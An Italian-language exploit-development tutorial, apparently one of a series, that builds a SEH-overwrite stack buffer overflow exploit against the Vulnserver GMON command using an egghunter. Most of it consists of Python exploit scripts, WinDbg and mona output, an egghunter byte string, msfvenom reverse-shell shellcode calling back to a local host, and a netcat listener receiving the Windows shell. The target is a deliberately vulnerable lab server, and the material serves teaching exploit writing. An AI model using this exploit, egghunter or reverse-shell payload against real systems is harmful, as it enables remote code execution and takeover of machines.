Una delle sfide durante la scrittura di un exploit è la gestione dello spazio che serve per inserire lo shellcode malevolo. Certe volte si trovano Stack Buffer Overflow, ma ci sono talmente pochi byte per l’inserimento dello shellcode che è necessario trovare un metodo alternativo.
L’egghunter (letteralmente “cacciatore di uova”) è una piccola porzione di codice che, una volta inserito, andrà alla ricerca di una particolare stringa (l’uovo appunto) in tutta la memoria del programma. Una volta trovata, andrà ad eseguire il codice presente subito dopo questa stringa.
Lo shellcode viene quindi inserito subito dopo un tag di 8 byte (l’uovo) mentre l’egghunter, che conosce il tag, viene inserito subito dopo la sovrascrittura di EIP. Invece che crearlo con mona, utilizzeremo il seguente script.
Altri post in questa serie:
L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.
Per avere un ambiente ad hoc serve:
Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:
!py mona config -set workingfolder c:\monalogs\%p_%i
In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.
NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.
NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).
Vulnserver è un server vulnerabile creato ad hoc per imparare lo Stack Overflow. Una volta avviato rimane in ascolto sulla porta 9999 e possiamo connetterci con netcat.
Già in questo articolo abbiamo analizzato la vulnerabilità presente con il comando GMON, ma stavolta sfrutteremo un egghunter per exploitare la vulnerabilità.
Sappiamo che il server va in crash con il seguente comando
import struct
import socket
VULNSRVR_CMD = b"GMON /.:/" # change me
CRASH_LEN = 5011 # change me
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
payload = VULNSRVR_CMD
payload += b"A" * CRASH_LEN
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona
!py mona pc 5011
Aggiorniamo lo script
import struct
import socket
VULNSRVR_CMD = b"GMON /.:/" # change me
CRASH_LEN = 5011 # change me
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
payload = VULNSRVR_CMD
payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab..."
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
Guardiamo la chain
0:004> !exchain
00f5ffcc: 6f45336f
Invalid exception stack at 45326f45
0:004> !py mona po 6f45336f
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 6f45336f
Looking for o3Eo in pattern of 500000 bytes
- Pattern o3Eo (0x6f45336f) found in cyclic pattern at position 3550
- Pattern oE3o not found in cyclic pattern (lowercase)
[+] This mona.py action took 0:00:00.219000
0:004> !py mona po 45326f45
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 45326f45
Looking for Eo2E in pattern of 500000 bytes
- Pattern Eo2E (0x45326f45) found in cyclic pattern at position 3546
Quindi NSEH è in posizione 3546 e SEH 3500. Aggiorniamo lo script per confermare la posizione
import struct
import socket
VULNSRVR_CMD = b"GMON /.:/" # change me
CRASH_LEN = 5011 # change me
OFFSET = 3546
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += b"B" * 4 #NSEH
payload += b"C" * 4 #SEH
payload += b"D" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono
!py mona ba -cpb '\x00'
NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:
!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff
Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)
import struct
import socket
VULNSRVR_CMD = b"GMON /.:/" # change me
CRASH_LEN = 5011 # change me
OFFSET = 3546
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
bad_chars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += b"B" * 4 #NSEH
payload += b"C" * 4 #SEH
payload += bad_chars
payload += b"D" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
Tramite TEB e l’ExceptionList dumpo l’indirizzo di memoria su cui risiedono per vedere se c’è qualche bad char
0:003> !teb
TEB at 003e8000
ExceptionList: 00e2ffcc
StackBase: 00e30000
StackLimit: 00e2f000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 003e8000
EnvironmentPointer: 00000000
ClientId: 00001a0c . 00001d4c
RpcHandle: 00000000
Tls Storage: 0073e610
PEB Address: 003e4000
LastErrorValue: 0
LastStatusValue: c000000d
Count Owned Locks: 0
HardErrorMode: 0
0:003> db 00e2ffcc
00e2ffcc 42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08 BBBBCCCC........
00e2ffdc 09 0a 0b 0c 0d 0e 0f 10-11 12 13 14 15 16 17 18 ................
00e2ffec 19 1a 1b 1c 1d 1e 1f 20-21 22 23 24 25 26 27 28 ....... !"#$%&'(
00e2fffc 29 2a 2b 2c ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? )*+,????????????
00e3000c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
00e3001c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
Sembra che dopo \x2c non ci stia più nulla. Provo a togliere \x2c e \x2d ma non cambia nulla. Quindi l’unico spazio che abbiamo per il nostro shellcode per ora è solo quello. Divido quindi i bad_char in più parti, ne lancio 20 alla volta e vedo che non ci sono bad char oltre a \x00.
Essendo un SEH, ciò che faccio adesso è cercare un PPR ed inserire uno short jump per arrivare nel (poco) spazio che abbiamo a disposizione.
Cerco un PPR con mona
0:003> !py mona seh
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py seh
---------- Mona command started on 2022-09-14 07:37:28 (v2.0, rev 616) ----------
...
…[+] Results :
0x625010b4 | 0x625010b4 : pop ebx # pop ebp # ret | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x00402673 | 0x00402673 : pop ebx # pop ebp # ret | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [vulnserver.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\vulnserver.exe)
0x6250172b | 0x6250172b : pop edi # pop ebp # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x6250195e | 0x6250195e : pop edi # pop ebp # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
Lo aggiungo allo script insieme al solito short jump
import struct
import socket
VULNSRVR_CMD = b"GMON /.:/" # change me
CRASH_LEN = 5011 # change me
OFFSET = 3546
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) #short jump NSEH
payload += struct.pack("<I",0x625010b4) #PPR - SEH
payload += b"\x90" * 5
payload += b"D" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
0:004> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=625010b4 esp=0107ec80 ebp=0107eca0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc+0x10b4:
625010b4 5b pop ebx
0:004> t
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=625010b5 esp=0107ec84 ebp=0107eca0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc+0x10b5:
625010b5 5d pop ebp
0:004> t
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=625010b6 esp=0107ec88 ebp=0107ed80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc+0x10b6:
625010b6 c3 ret
0:004> t
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=0107ffcc esp=0107ec8c ebp=0107ed80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0107ffcc 90 nop
0:004> t
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=0107ffcd esp=0107ec8c ebp=0107ed80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0107ffcd 90 nop
0:004> t
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=0107ffce esp=0107ec8c ebp=0107ed80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0107ffce eb06 jmp 0107ffd6
0:004> u 0107ffd6
0107ffd6 90 nop
0107ffd7 90 nop
0107ffd8 90 nop
0107ffd9 44 inc esp
0107ffda 44 inc esp
0107ffdb 44 inc esp
0107ffdc 44 inc esp
0107ffdd 44 inc esp
Ed ecco che sono arrivato ai NOP. Per capire quando spazio abbiamo basta fare una semplice sottrazione tra l’ultimo e il primo indirizzo
0:004> db eip
0107ffd6 90 90 90 44 44 44 44 44-44 44 44 44 44 44 44 44 ...DDDDDDDDDDDDD
0107ffe6 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0107fff6 44 44 44 44 44 44 44 44-44 44 ?? ?? ?? ?? ?? ?? DDDDDDDDDD??????
01080006 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01080016 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01080026 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01080036 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01080046 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:004> ? 0x0107ffff - (0x0107ffd6+3)
Evaluate expression: 38 = 00000026
Poiché abbiamo solo 38 bytes disponibili, dobbiamo necessariamente inserire lo shellcode da qualche altra parte. Mentre nello scorso articolo abbiamo fatto un jump back, in questo caso utilizzeremo un egghunter.
Per prima cosa dobbiamo inserire il codice che andrà a cercare il nostro egghunter in memoria. Per farlo possiamo fare un jump back di circa 100, in modo che ci sia tutto lo spazio per il nostro codice.
nasm > jmp -100
00000000 E997FFFFFF jmp 0xffffff9c
Aggiorno lo script
import struct
import socket
VULNSRVR_CMD = b"GMON /.:/" # change me
CRASH_LEN = 5011 # change me
OFFSET = 3546
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
payload = VULNSRVR_CMD
payload += b"A" * (OFFSET - 100)
payload += b"B" * 100
payload += struct.pack("<I",0x06eb9090) #short jump NSEH
payload += struct.pack("<I",0x625010b4) #PPR - SEH
payload += b"\x90" * 5
payload += b"\xe9\x97\xff\xff\xff" # jump -100 E9 97 FF FF FF
payload += b"D" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
Metto breakpoint al NSEH ed eseguo. Faccio un po' di passi fino ad arrivare al mio jump back ed ecco che salta preciso
0:003> bp 0x625010b4
0:003> g
(1bd8.16e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=78f8f8f8 ebx=000000d4 ecx=0016433c edx=44444444 esi=00401848 edi=00de0000
eip=75986819 esp=00ddf1d0 ebp=00ddf9c0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
msvcrt!strcat+0x89:
75986819 8917 mov dword ptr [edi],edx ds:0023:00de0000=????????
0:003> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=625010b4 esp=00ddec80 ebp=00ddeca0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc+0x10b4:
625010b4 5b pop ebx
0:003> p
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=625010b5 esp=00ddec84 ebp=00ddeca0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc+0x10b5:
625010b5 5d pop ebp
0:003>
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=625010b6 esp=00ddec88 ebp=00dded80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
essfunc+0x10b6:
625010b6 c3 ret
0:003>
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=00ddffcc esp=00ddec8c ebp=00dded80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00ddffcc 90 nop
0:003>
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=00ddffcd esp=00ddec8c ebp=00dded80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00ddffcd 90 nop
0:003>
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=00ddffce esp=00ddec8c ebp=00dded80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00ddffce eb06 jmp 00ddffd6
0:003> p
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=00ddffd6 esp=00ddec8c ebp=00dded80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00ddffd6 90 nop
0:003>
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=00ddffd7 esp=00ddec8c ebp=00dded80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00ddffd7 90 nop
0:003>
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=00ddffd8 esp=00ddec8c ebp=00dded80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00ddffd8 90 nop
0:003>
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=00ddffd9 esp=00ddec8c ebp=00dded80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00ddffd9 e997ffffff jmp 00ddff75
0:003> db 00ddff75
00ddff75 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00ddff85 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00ddff95 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00ddffa5 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00ddffb5 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
00ddffc5 42 42 42 42 42 42 42 90-90 eb 06 b4 10 50 62 90 BBBBBBB......Pb.
00ddffd5 90 90 90 90 e9 97 ff ff-ff 44 44 44 44 44 44 44 .........DDDDDDD
00ddffe5 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0:003> ? ((00ddffc5+6)-00ddff75)
Evaluate expression: 86 = 00000056
Ho quindi 86 byte per inserire l’egghunter. Lo creo con il seguente script
Come si può vedere il tag è c0d3c0d3 (gli 8 bytes di cui parlavamo prima).
Lo inserisco all’interno dello spazio appena creato
import struct
import socket
VULNSRVR_CMD = b"GMON /.:/" # change me
CRASH_LEN = 5011 # change me
OFFSET = 3546
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
egghunter = b"\xeb\x2a\x59\xb8\x63\x30\x64\x33\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"
payload = VULNSRVR_CMD
payload += b"A" * (OFFSET - 100)
payload += egghunter
payload += b"A" * (100 - len(egghunter))
payload += struct.pack("<I",0x06eb9090) #short jump NSEH
payload += struct.pack("<I",0x625010b4) #PPR - SEH
payload += b"\x90" * 5
payload += b"\xe9\x97\xff\xff\xff" # jump -100 E9 97 FF FF FF
payload += b"D" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
Viene però tagliato, quindi probabilmente devo dargli più spazio. Per non cambiare il jump back, lo sposto leggermente in basso
import struct
import socket
VULNSRVR_CMD = b"GMON /.:/" # change me
CRASH_LEN = 5011 # change me
OFFSET = 3546
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
egghunter = b"\xeb\x2a\x59\xb8\x63\x30\x64\x33\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"
payload = VULNSRVR_CMD
payload += b"A" * (OFFSET - 80)
payload += egghunter
payload += b"A" * (80 - len(egghunter))
payload += struct.pack("<I",0x06eb9090) #short jump NSEH
payload += struct.pack("<I",0x625010b4) #PPR - SEH
payload += b"\x90" * 5
payload += b"\xe9\x97\xff\xff\xff" # jump -100 E9 97 FF FF FF
payload += b"D" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
Ora non ci rimane che:
Ricordo che con il debugger attaccato l’egghunter potrebbe non funzionare, quindi è meglio fare senza. Aggiorniamo ed eseguiamo lo script
import struct
import socket
VULNSRVR_CMD = b"GMON /.:/" # change me
CRASH_LEN = 5011 # change me
OFFSET = 3546
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789 -f python -v shellcode -b '\x00' EXITFUNC=thread
shellcode = b""
shellcode += b"\xbb\x0a\xd3\x29\x1b\xdb\xdc\xd9\x74\x24\xf4"
shellcode += b"\x5a\x29\xc9\xb1\x52\x83\xc2\x04\x31\x5a\x0e"
shellcode += b"\x03\x50\xdd\xcb\xee\x98\x09\x89\x11\x60\xca"
shellcode += b"\xee\x98\x85\xfb\x2e\xfe\xce\xac\x9e\x74\x82"
shellcode += b"\x40\x54\xd8\x36\xd2\x18\xf5\x39\x53\x96\x23"
shellcode += b"\x74\x64\x8b\x10\x17\xe6\xd6\x44\xf7\xd7\x18"
shellcode += b"\x99\xf6\x10\x44\x50\xaa\xc9\x02\xc7\x5a\x7d"
shellcode += b"\x5e\xd4\xd1\xcd\x4e\x5c\x06\x85\x71\x4d\x99"
shellcode += b"\x9d\x2b\x4d\x18\x71\x40\xc4\x02\x96\x6d\x9e"
shellcode += b"\xb9\x6c\x19\x21\x6b\xbd\xe2\x8e\x52\x71\x11"
shellcode += b"\xce\x93\xb6\xca\xa5\xed\xc4\x77\xbe\x2a\xb6"
shellcode += b"\xa3\x4b\xa8\x10\x27\xeb\x14\xa0\xe4\x6a\xdf"
shellcode += b"\xae\x41\xf8\x87\xb2\x54\x2d\xbc\xcf\xdd\xd0"
shellcode += b"\x12\x46\xa5\xf6\xb6\x02\x7d\x96\xef\xee\xd0"
shellcode += b"\xa7\xef\x50\x8c\x0d\x64\x7c\xd9\x3f\x27\xe9"
shellcode += b"\x2e\x72\xd7\xe9\x38\x05\xa4\xdb\xe7\xbd\x22"
shellcode += b"\x50\x6f\x18\xb5\x97\x5a\xdc\x29\x66\x65\x1d"
shellcode += b"\x60\xad\x31\x4d\x1a\x04\x3a\x06\xda\xa9\xef"
shellcode += b"\x89\x8a\x05\x40\x6a\x7a\xe6\x30\x02\x90\xe9"
shellcode += b"\x6f\x32\x9b\x23\x18\xd9\x66\xa4\xe7\xb6\x69"
shellcode += b"\x08\x80\xc4\x69\x6a\xd5\x40\x8f\xe0\xc5\x04"
shellcode += b"\x18\x9d\x7c\x0d\xd2\x3c\x80\x9b\x9f\x7f\x0a"
shellcode += b"\x28\x60\x31\xfb\x45\x72\xa6\x0b\x10\x28\x61"
shellcode += b"\x13\x8e\x44\xed\x86\x55\x94\x78\xbb\xc1\xc3"
shellcode += b"\x2d\x0d\x18\x81\xc3\x34\xb2\xb7\x19\xa0\xfd"
shellcode += b"\x73\xc6\x11\x03\x7a\x8b\x2e\x27\x6c\x55\xae"
shellcode += b"\x63\xd8\x09\xf9\x3d\xb6\xef\x53\x8c\x60\xa6"
shellcode += b"\x08\x46\xe4\x3f\x63\x59\x72\x40\xae\x2f\x9a"
shellcode += b"\xf1\x07\x76\xa5\x3e\xc0\x7e\xde\x22\x70\x80"
shellcode += b"\x35\xe7\x90\x63\x9f\x12\x39\x3a\x4a\x9f\x24"
shellcode += b"\xbd\xa1\xdc\x50\x3e\x43\x9d\xa6\x5e\x26\x98"
shellcode += b"\xe3\xd8\xdb\xd0\x7c\x8d\xdb\x47\x7c\x84"
payload = VULNSRVR_CMD
payload += b"c0d3c0d3"
payload += shellcode
payload += b"\x90" * (OFFSET - 80 - 359) # 351 (len(shellcode)+ 8(len(c0d3c0d3))
payload += egghunter
payload += b"\x90" * (80 - len(egghunter))
payload += struct.pack("<I",0x06eb9090) #short jump NSEH
payload += struct.pack("<I",0x625010b4) #PPR - SEH
payload += b"\x90" * 5
payload += b"\xe9\x97\xff\xff\xff" # jump -100 E9 97 FF FF FF
payload += b"D" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
E la nostra shell viene eseguita
kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 31852
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.
C:\Users\User\Desktop\vulnserver>whoami
whoami
desktop-p7jng2j\user
L’utilizzo di un egghunter può essere molto utile in certe occasioni in cui non si ha per nulla spazio per l’inserimento dello shellcode. Mentre in questo caso di spazio ce n’era in abbondanza, è stato solo un esempio. Nei prossimi articoli vedremo casi d’uso peculiari per gli egghunter. Alcune risorse utili: